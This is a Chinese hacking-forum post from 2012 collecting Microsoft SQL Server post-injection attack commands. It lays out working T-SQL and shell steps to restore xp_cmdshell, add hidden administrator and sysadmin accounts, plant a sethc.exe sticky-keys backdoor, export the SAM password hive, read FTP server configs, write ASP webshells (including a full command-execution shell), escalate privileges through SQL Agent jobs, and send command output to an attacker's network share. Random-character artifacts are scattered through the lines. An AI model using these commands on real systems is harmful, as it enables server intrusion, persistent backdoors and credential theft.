找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2359|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号! p( A1 Q2 }7 {% ^2 _% _! W
恢复方法:查询分离器连接后,
! t. |' D2 U, _: v第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ( k# x2 n. W  A: C7 _% o- e0 h
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
: f, W  W+ C) H: h: k+ O3 }然后按F5键命令执行完毕* A( i4 M0 z  e, `
( W2 u, {  o8 o1 N4 [, W8 e+ F
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。); p6 X# k2 t' i9 A
恢复方法:查询分离器连接后,
& V2 T, T+ W* ~- D+ w; M9 g第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
. J0 ?' o. z2 {; t) i7 r4 s第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
: [, p' ]" a) F4 h6 m. t- T+ _. R然后按F5键命令执行完毕
, \% p+ h  s8 h5 G) E% {+ }7 y, y3 N3 {
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
; R* Q/ h6 b$ R4 N, r: c恢复方法:查询分离器连接后,$ {& H; h; ], G1 }- M# H2 p  @0 A
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
0 Y1 k" I! p% v# }1 y; _, g第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
- J  I1 S( e; e9 Y8 k/ O" X* J然后按F5键命令执行完毕
( h  }0 m" _: ^% L+ w; n+ ?
; n( S  C9 B7 m) Z; S4 终极方法./ h  o/ [% S5 `; k1 V  u  z
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:3 n; B3 Z8 k" G- w# Y- x- w
查询分离器连接后,
8 g5 A7 H  R% j! z2000servser系统:, @: ]* x" [5 G/ Z9 A) ?2 u
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'0 |6 r" e9 N% H, K3 U
7 [' ~* f5 s& o' {; M) d" q9 ^
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
$ L; l0 D, f- I( v5 B$ P! I- ~/ ~2 b( R7 s
xp或2003server系统:  Z0 K7 [( Y; ~
. I- q0 d) n- Q" t
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
% J/ w; Q) q/ u! n
- p9 n: |3 @* a" r! g; [declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
. Z9 _* ?) s* o8 H: W; j( E) U% \$ O) b( N+ p, [' g* ?6 M% a- q3 \

- E1 n8 l$ w7 v% c: r$ b五个SHIFT
. N* N9 [2 X8 O1 A6 w* B' b9 sdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
* `) i$ B0 f0 Z% D& x2 G+ |! o* G" L! s( ?8 N5 K3 v
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
5 q8 T" v5 u( f& r1 L, B6 l9 B% g' c# S5 M$ B3 X
xp_cmdshell执行命令另一种方法: J3 k( i+ r* }3 q4 I5 R! F
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'   c, R! Z9 Q* B" f  F
) v- B% J/ F  P; k! L+ ~" f* K
判断存储扩展是否存在3 u7 d4 ^% E: Q4 Z; {4 t5 r
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'& R: t' a9 j* A% M7 d' y( Q6 k
返回结果为1就OK4 Z3 s$ f# l9 M" L& j" m2 w: S+ [
) I' f. R5 z8 R# P& a. w0 |8 V, K

4 v# K' F+ O0 i! `- l+ H7 u; Q) |) i) w上传xplog70.dll恢复xp_cmdshell语句:
: u3 J* \" E. i. z! C3 ]; Lsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
  w5 l2 G$ R( s1 H6 ?' h  y; E$ t- x6 b, E
否则上传xplog7.0.dll
- e8 @; `) Z% w8 P/ O6 OExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
, T7 z% H, H7 x6 c1 ]6 S
* b6 Q& K6 N8 I$ W
5 K5 M0 U5 g4 k# m2 M/ z  V8 E6 C
0 O/ [, D; J& P2 I$ y/ y# K首先开启沙盘模式:
  K3 d) H8 o% k5 \9 w# m0 |/ c. {' texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1" g  C9 q- V0 u6 r9 T
" d" t+ k) b$ H7 J
然后利用jet.oledb执行系统命令
" l& L" E9 L% D+ l5 w4 p5 oselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
" Y. E9 v  C+ D2 k, @5 r. B. e9 x返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
# v7 X  z  I0 u' k% Q# ~6 S/ `! K$ K! x0 V
8 W+ ]$ {' f: C$ @' X8 u# @) R

; F8 V+ x: ^7 e2 s- l恢复过程sp_addextendedproc 如下:
% V, e; b7 o% ^2 d7 [% _7 z+ ^9 `7 Acreate procedure sp_addextendedproc --- 1996/08/30 20:13
' C8 ?; F7 U/ v, {. k1 K+ `@functname nvarchar(517),/* (owner.)name of function to call */ 6 n+ Z; e5 v" O: Y/ b' W0 @
@dllname varchar(255)/* name of DLL containing function */ 5 J7 n- s& y# m
as " ^; v' l: B  F2 E/ L& @; L
set implicit_transactions off
* W7 G* n( @: D6 j4 Vif @@trancount > 0 6 `6 D% P2 b+ X9 x! f
begin 0 `2 u( ~( x' Q1 g2 H0 J5 r+ d
raiserror(15002,-1,-1,'sp_addextendedproc') ) W) |! H$ }  d! S
return (1)   c9 O; Z2 R4 p) ^3 x
end
7 g8 G$ k' L' D6 m! a! K  wdbcc addextendedproc( @functname, @dllname)
2 d) K, p; w2 _5 y& r6 b0 xreturn (0) -- sp_addextendedproc
1 N" I8 X! l; \! Q3 y- q2 Y6 m/ AGO 1 |  i! B. {) z- |. W; ^8 g! @9 m

9 w2 ?6 S$ `0 ?5 l' s9 Z( g4 s2 m3 N$ `% _. Q! C' z
' t% i3 t, I! s  {9 G
导出管理员密码文件
5 D) G- S& R( s. k2 ]; t$ esa默认可以读sam键.应该。) ?$ {0 N* i$ }1 E! B& }8 u9 I
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg1 v1 Q$ [3 M+ g' s$ e; j+ S
net user administrator test
/ s+ A# f# G! H7 F用administrator登陆.
! e: t% c1 U- Y0 a+ K; v用完机器后
# [- p0 Z- ~) freg import c:\test.reg
0 }% X5 ?. c& s4 ]2 v根本不用克隆.( L3 a- X2 I4 O4 Z1 F0 ~
找到对应的sid. # `) V2 C( o' @3 W' H
5 G- V- Y5 U/ V; ~6 l8 V

: M& Y) x6 G7 W. U' q6 H0 b
5 ~5 n# s9 B" m* |6 d恢复所有存储过程
5 l' W3 P/ g/ N4 j0 d$ ^( ]% Puse master 0 o  D) ]% t$ K$ e! |2 W6 X8 u
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 6 t8 U8 Q" J, E
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
1 A6 k; J9 ^  e( X  {. _% b$ `exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
% t# K: r/ t- W( K' ^exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
9 v9 t9 j5 ^- ^+ c8 L. a9 xexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' * g! W7 c* y& G6 X2 e
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
1 J2 w/ h# _" N, O* o1 Fexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
9 E4 b8 k. |2 ^* Y. E5 nexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
9 ?) p% Y; I. `, ?exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 7 _; `5 A: P9 w: U4 j4 G3 K
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
7 y* U$ g) s( ]1 }0 m6 j- _, R" |) Y2 h+ aexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
( k9 g0 F2 |; h: Jexec sp_addextendedproc sp_OAStop,'odsole70.dll'
3 `, d/ }- L: lexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'   w7 e% _3 W- h" @8 M
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
. o, X0 M; D& ~4 u+ V( Sexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
5 m4 X" I+ ~6 e& H/ y! ^0 ?exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
* r/ r4 |" a- n- G- J1 p7 }+ Q; |exec sp_addextendedproc xp_regread,'xpstar.dll'
. [$ }6 A7 S* ?' Eexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
! \$ d! W' d' ]2 nexec sp_addextendedproc xp_regwrite,'xpstar.dll'   n9 H( v, a  z  s* ]
exec sp_addextendedproc xp_availablemedia,'xpstar.dll': |) G8 C: t4 f1 h! [( F6 r
+ o. J9 h: \  r; [  C6 u" \

+ B7 L, A& X/ a4 v建立读文件的存储过程  u! u6 h5 S1 L1 R5 r
Create proc sp_readTextFile @filename sysname' j- z' v7 k% s/ z/ h* N( a
as+ [8 T- M. {; |. ~  J

( g; n7 h3 I4 Y' a1 z" L    begin
8 S( _! p; n$ x4 t! q) I* O    set nocount on 6 x! l  f5 |) a2 n$ ?
    Create table #tempfile (line varchar(8000))1 x6 }/ _: |, [
    exec ('bulk insert #tempfile from "' + @filename + '"')# y5 e1 t7 E- p
    select * from #tempfile
& i2 Q; o  ]5 P! t% `3 a& s5 u: Y    drop table #tempfile+ ~0 i5 i; i/ z' |
End5 |& y* I' w5 [" w6 ~

" N0 k/ K, u% f8 S( N" Dexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
+ ~9 i- j& y: ]& r查看登录用户; S2 `( e$ k( Y% ~
Select * from sysxlogins4 M% P" H- `  M3 g9 @- i
5 N# T1 B5 K! Q( V
把文件内容读取到表中
- g" W# x  x4 b# _( N3 jBULK INSERT tmp from "c:\test.txt"
  N" k% @/ O2 ndElete from 表名 清理表里的内容
7 o' j4 v. ^' h8 W2 f2 s% S5 screate table b_test(fn nvarchar(4000));建一个表,字段为fn" K" `- I, F5 A+ Z

8 O) H  Q' Z: o$ S4 S# q3 W( W
2 @9 }9 F" B; I" L加sa用户. Z" x% B% A4 }% L9 S+ `9 \
exec master.dbo.sp_addlogin user,pass;
: A6 e& l# S+ {$ I! Zexec master.dbo.sp_addsrvrolemember user,sysadmin
, r% Q, {) N6 o1 F+ d
# W( W3 \8 Q' b# q
" {/ b" `, I6 F; I, k$ D" v
. D% Y& b/ E3 |' A; @# l! Z3 B读文件代码# N) a0 J) C: ]: v6 I
declare @o int, @f int, @t int, @ret int4 s# m- a: L) H7 J7 O# E8 X
declare @line varchar(8000)* |; a7 D# }6 Z5 l- E) U0 G% A
exec sp_oacreate 'scripting.filesystemobject', @o out
4 V' z4 p8 r' Y/ J9 ?8 Qexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1. P+ O! [" x5 E# x% r
exec @ret = sp_oamethod @f, 'readline', @line out
* i# p2 q2 b9 awhile( @ret = 0 )
" t2 T5 {6 t9 `; ?+ x. \begin
2 {4 F7 O9 o6 z/ E9 Jprint @line
! ~  `' z6 j1 d' @7 Q' mexec @ret = sp_oamethod @f, 'readline', @line out9 D/ ]5 E/ s4 m% G) ?7 s1 v
end
. R$ z8 c3 `" ]5 C- W. i
+ c1 W- J) z7 e+ R8 e4 F& r1 t
/ D! r: S8 w( |( u写文件代码:. o: v/ X: i  {' X7 ~
declare @o int, @f int, @t int, @ret int
4 F1 F( `" P1 x; n& u2 c" ^3 s, Zexec sp_oacreate 'scripting.filesystemobject', @o out
* ]. ?; o) }( v0 Y6 Zexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1, S3 {& n+ R) x' d
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
$ T6 ~0 m2 j' b8 [/ m0 O) F1 |& Q# h2 [2 o  I; {6 E! x* }6 s* j
3 ~6 `6 }$ x/ V. Y  K% X
添加lake2 shell/ b8 S0 u# z- n" A) U
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
5 X- Q7 A2 R* S' hsp_dropextendedproc xp_lake2( b& K! p6 E/ {. ]
EXEC xp_lake2 'net user'
! h# w4 D' w7 v' [
% }# Z: ?7 Q2 O& F8 R" k" c+ O0 ]3 n0 Y, c
得到硬盘文件信息
9 y$ v# U% ]. T- n; x9 b--参数说明:目录名,目录深度,是否显示文件 * H' J; ~5 X, y( K( K5 o
execute master..xp_dirtree 'c:'
0 ]$ `. F2 ~1 B& aexecute master..xp_dirtree 'c:',1
/ E$ U  Z6 X! n! Z. |; nexecute master..xp_dirtree 'c:',1,1
* ]. n5 P+ a$ v3 R" j" i  _
* G4 w8 C3 q' O. T: v, P' r% q
; x8 s( X! b3 q# X读serv-u配置信息
* {/ D4 w% Q% M) B' kexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
5 x! s4 W* f) q: A2 Kexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'+ w- c8 |' P: b4 U

% k. Q9 k- O- c! X' A通过xp_regwrite写SHIFT后门4 G, B8 {5 N  x8 g, }& D" P
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
& s1 h5 s$ [( ?& w. k7 j& E
" M7 y+ p' f/ w& t1 B) l( b% X5 g/ ^
: K9 i) G* y4 i' ?( i0 T; X4 s" B) Q
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
4 |4 P! A! u! ~exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了% {' E# x6 b; s' h9 v
% K* d# F- z9 k1 O6 \2 j8 N/ m
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
7 j) h4 _) T0 ^$ I  O- T( s4 x$ \6 o5 F- T, r( B* f* W
6 r- H! p/ t4 w" Q
, ~4 a; S8 N3 Q( k8 a
sql server 2005下开启xp_cmdshell的办法
  M3 y$ L# X& M! C
! b8 z4 ~' `  t' N. I$ c$ `5 fEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;5 W% o. {1 R. A
$ O" m6 V" n) F, ^7 Q, ]2 z
SQL2005开启'OPENROWSET'支持的方法:  u& y3 v$ i* T! m- T% E, w( Y
- {0 ^% {2 a; E- s" M
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;- `! p2 w) h- Y! p; q3 U( p( s) G

9 J4 Q. @4 u5 R# D  w% D$ p8 zSQL2005开启'sp_oacreate'支持的方法:
" E9 |3 r) ]! u1 i; ~# z0 q; R5 g* t& o9 V6 M6 h/ @( ^
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
) T( Z2 ~+ ?6 B* ]9 j4 R2 U+ m2 i6 p6 w8 Z' e1 W+ W% ~

* M4 u$ m% T  y* I  U
" p. \# t! N$ K. y4 [+ K" a
2 U7 {# w7 h( W3 K5 Z0 c, `, j0 Y, O6 q2 h  [$ ?7 a
5 J6 }5 T: F: v! |9 h1 g
( [+ l4 `9 |; q

& ?4 |' R8 g, F% W9 M/ P
8 s$ f* R$ h+ W- v9 J+ m5 q9 z) N9 G% l, m0 E) l

/ e2 }! r+ K3 U  V  Q8 i; N& R( t
$ {3 h+ C0 r, O  ?& s$ g, K, n+ E, `" c4 ?4 o, ?1 U( T) e6 M# b

  z3 l; k3 y: k5 b# Z- C! T( k/ Q1 {* K% y& A

( L/ M% b$ k$ {) W3 a9 b2 L) m8 T+ {4 G! |& h

6 K7 b) Y+ f6 s  W8 i  y  Q0 M# Y

0 S  v: Z: k; a. |3 V: y8 w; E
( V, Z, t" G) @0 {. T7 ?& W, g9 u
2 K0 n; E5 |% R' o
2 c9 N5 N9 c+ i' U' j
8 L; r7 h0 K5 w$ `以下方面不知道能不能成功暂且留下研究哈:% V) `; \( [* h6 \6 C
4)& T5 |# v* A+ Y$ ?$ w
use msdb; --这儿不要是master哟
$ n$ P- @1 r& I. Y$ ?exec sp_add_job @job_name= czy82 ;+ i0 {2 _1 C- |! J  h5 \# X
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
1 G9 }/ Q9 S2 Z- z! ]2 F% B& ~exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
3 R+ H, ]& k/ Qexec sp_start_job @job_name= czy82 ;
9 f: ?7 O8 W# p6 \: O
& Y0 x- h, _1 U  b8 `% `利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以/ F: h$ b3 j5 d  f: t- @
执行tsql语句了.
6 x5 z3 f$ _) F对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
8 w3 I) N8 Y* s9 z  ^; N& u& S0 D第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
2 ?% V9 H. S5 ~3 ]* p9 b/ Fnet start SQLSERVERAGENT
, k' M" ?- L0 ]( Y. `* f0 z8 i2 D7 W* m* g7 ]$ s) w, y6 w" B, I
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
" p# D9 c# [% B6 j6 x) N6 m. eUSE msdb
  ^/ I8 s2 x) M& L$ gEXEC sp_add_job @job_name = GetSystemOnSQL ,
. S7 o( g, [" n# D@enabled = 1,
" n, q) N! K2 @4 D@description = This will give a low privileged user access to
8 ]5 g3 O+ A) i+ G4 Z" J( qxp_cmdshell ,+ }6 K8 @3 U+ T  |1 F# \# ?& J
@delete_level = 1
1 {- E2 P7 ?  Z% F1 HEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,( e, |: M* g9 \! D5 s% C
@step_name = Exec my sql ,: B8 b7 y1 i  r0 K; p3 b' U
@subsystem = TSQL ,
, `) V  g  x9 s9 I@command = exec master..xp_execresultset N select exec
2 o/ h  B! l( B( u! U8 u4 w% W$ y! Fmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master # ^2 ], `' \* l
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
" ^/ b0 _! G* U2 a@server_name = 你的SQL的服务器名
+ H1 ~% M$ o2 j. fEXEC sp_start_job @job_name = GetSystemOnSQL
" {, R2 A4 D3 c5 @: @+ M" ?- \1 f) t* G+ f9 a
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以/ \. S, \9 r' }8 u' a# S- N( N
才让我们可以以public执行xp_cmdshell2 I+ J" i" t1 n" s$ J0 e

( _8 \' |! N/ q- H/ k" Y4 |# ^5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)  ~/ W5 }3 R+ k
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
' e; ?/ T( c- [/ X6 N$ Q$ B
3 t( ~) l5 `2 c6 V9 d: gUSE msdb
' `4 `: t' V2 z" {EXEC sp_add_job @job_name = ArbitraryFilecreate ,
. y- J, b. H5 h@enabled = 1,
! w& p" W- p  Z+ d@description = This will create a file called c:\sqlafc123.txt ,2 j4 `6 I- \& n5 E. T3 t" C
@delete_level = 1
# ~5 Y9 W$ e& hEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
% K. O. N# G- ~@step_name = SQLAFC ,
6 O! f. K! g% u2 S3 g" _, H@subsystem = TSQL ,& t2 B0 x( x! B  `; V. C
@command = select hello, this file was created by the SQL Agent. ,
2 |: I. v" D0 A4 k" v2 f@output_file_name = c:\sqlafc123.txt ! C' I" n5 H* l* }- p6 k
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
- h% P# T) S+ b, V1 @@server_name = SERVER_NAME 1 f( j! `& b) `. W
EXEC sp_start_job @job_name = ArbitraryFilecreate
+ S* W0 S0 B0 `. @. }
: x0 N, n* a8 H7 e5 o2 R如果subsystem选的是:tsql,在生成的文件的头部有如下内容
; K/ ^$ a; s% W2 G& h7 s
1 A" s7 C: T3 V6 W# \/ L??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
9 [* A7 x& d- w& W----------------------------------------------7 x' i* b1 b  g: ]
hello, this file was created by the SQL Agent.
5 h5 n. L, {6 q; k+ S3 ]0 F
# H' B0 n# |, p8 @(1 ?????)
& u, ~: e! m4 c' F% N
' g: `/ [3 j3 n0 y" q$ I所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
+ Y1 y  H! Q; W/ X6 G% A" g命令的vbs文件到启动目录!0 P3 {9 }8 t* y5 ], G. |
/ _8 c% l8 m: ?* I9 c( E8 S9 t, A
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
7 [, s% J7 {/ Y) U关于sp_MScopyscriptfile 看下面的例子
0 e2 {- r- }, r6 I& o" D0 O4 _declare @command varchar(100)
* v) ~( e. O* d7 {  f# U- P- Zdeclare @scripfile varchar(200) ! P- H$ Y: x& j$ t5 j
set concat_null_yields_null off ( h) f( m+ U% g' v$ C3 V- \1 O4 K
select @command= dir c:\ > "\\attackerip\share\dir.txt" 5 ^+ D1 g$ E( K+ K4 i
select @scripfile= c:\autoexec.bat > nul" | @command | rd " - M/ D5 ^! S! I4 b: d
exec sp_MScopyscriptfile @scripfile , / W5 G- C+ K( g' {' [, k# K
" O: _! a: o. e. Z: \+ }0 }8 F  C
这两个东东都还在测试试哟, e9 w1 a3 f4 B
让MSSQL的public用户得到一个本机的web shell
1 D& I1 F. Y1 ^0 k" O4 E$ T: L1 [. ]! {: p3 b; c# z4 c
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,; v- W$ X8 ?* Q4 i
--@query= select <img src=vbscript:msgbox(now())>
+ n. c' Z( z" j" Y% t- e* @' j; f! E--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
# A  t# ?; e' L! A$ r" y@query= select 3 _5 n( f5 U9 |/ p0 s
<%On Error Resume Next ; `) k6 l9 D3 M: |
Set oscript = Server.createObject("wscript.SHELL")
& r7 C# e) B; q* D5 x. B+ \Set oscriptNet = Server.createObject("wscript.NETWORK")
2 L( z7 L$ l' bSet oFileSys = Server.createObject("scripting.FileSystemObject") ( p  u4 N5 D. Q& N1 f
szCMD = Request.Form(".CMD") 5 K% \. U( l/ v  `. o/ w
If (szCMD <>"")Then 1 U4 r; O! D2 Q3 H4 J) Y
szTempFile = "C:\" & oFileSys.GetTempName() ( g4 ]  b0 ?! f" H' h/ L: r
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
2 R. U! V, L) |$ ySet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 6 N4 x# v0 _. z, S
End If %>
$ s8 N3 n* C0 z# ^+ }5 N<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
" p* Y- F, o) W2 {$ C<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
. K$ X# Z8 y6 J( Z</FORM><RE>
1 @9 A* R9 ~1 H# c& H+ @5 u! B<% If (IsObject(oFile))Then
0 @/ W; |9 K! u# D; C" i" `- EOn Error Resume Next 0 S2 r7 @; t9 b0 A' M/ w
Response.Write Server.HTMLEncode(oFile.ReadAll) 1 g( _1 }2 B0 s# e, @- e
oFile.Close
( S) n, z  d+ \- N1 @( `' ^/ j7 w; x: cCall oFileSys.deleteFile(szTempFile, True)
; _+ N2 e7 \5 I( y( O- q0 bEnd If%> ; J# l2 i% ~! x. e5 E3 u
</BODY></HTML> ' b2 [3 G7 Z) K: z0 d8 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表